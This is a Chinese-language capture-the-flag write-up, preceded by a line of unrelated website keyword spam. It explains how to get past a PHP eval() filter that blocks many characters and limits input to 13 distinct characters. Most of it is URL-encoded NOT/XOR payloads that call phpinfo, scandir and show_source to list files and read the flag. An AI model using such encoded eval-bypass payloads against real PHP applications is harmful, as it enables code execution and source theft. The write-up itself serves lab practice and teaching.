网站 icp备案,做网站添加本地图片,电子商务企业有哪些公司,泰州网站建设外包进入靶场
代码
?php
// 高亮显示当前 PHP 文件的源代码#xff0c;通常用于调试或展示代码#xff0c;方便用户查看代码逻辑
highlight_file(__FILE__);// 从 GET 请求中获取名为 _ 的参数值#xff0c;并赋值给变量 $_
// 符号用于抑制可能出现的错误信息#xff…
进入靶场
代码
?php
// 高亮显示当前 PHP 文件的源代码通常用于调试或展示代码方便用户查看代码逻辑
highlight_file(__FILE__);// 从 GET 请求中获取名为 _ 的参数值并赋值给变量 $_
// 符号用于抑制可能出现的错误信息若未传递该参数则不会抛出警告
$_ $_GET[_];// 使用正则表达式检查变量 $_ 中是否包含特定字符
// 这些字符包括空字符\x00、数字0 - 9、单引号、双引号、反引号、美元符号$、
// 与符号、逗号,、点号.、竖线|、左方括号[、左花括号{以及字母 defgops 等
// 若包含这些字符则终止脚本执行并输出提示信息
if ( preg_match(/[\x00- 0-9\$.,|[{_defgops\x7F]/i, $_) )die(rosé will not do it);// 对变量 $_ 进行小写转换然后使用 count_chars 函数统计其中不同字符的数量
// 0x3 是 count_chars 函数的模式参数表示返回一个数组数组的键是字符的 ASCII 码值是该字符出现的次数
// 接着获取该数组的长度即不同字符的数量
// 如果不同字符的数量超过 130xd 是十六进制的 13则终止脚本执行并输出提示信息
if ( strlen(count_chars(strtolower($_), 0x3)) 0xd )die(you are so close, omg);// 如果上述两个条件都不满足则将变量 $_ 作为 PHP 代码进行执行
// 这种做法存在严重的安全风险因为用户可以通过 GET 请求注入恶意代码
eval($_);
?
总结绕过正则匹配
字符数量不超过13
1取反
phpinfo() 是 PHP 里一个十分实用的内置函数它的主要作用是输出当前 PHP 环境的详细配置信息。
?php
print(urlencode(~phpinfo));
? %8F%97%8F%96%91%99%90 /?_(~%8F%97%8F%96%91%99%90)(); 2分析禁用函数
看看怎么使用没有被禁止的函数读取目录
?php
echo(urlencode(~print_r));
echo nl2br(\n);
echo(urlencode(~scandir));
echo nl2br(\n);
echo(urlencode(~.));
? 再测测长度
?php
print(strlen(count_chars(strtolower((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));), 0x3)));
?
超了
使用pscadi来代替ntr ((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff)); 直接读不了肯定超长度end()获得数组的最后一个值
show_source(end(scandir(.))) ((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF))); flag{664629c2-9083-4685-800a-f6ccbc5d0608}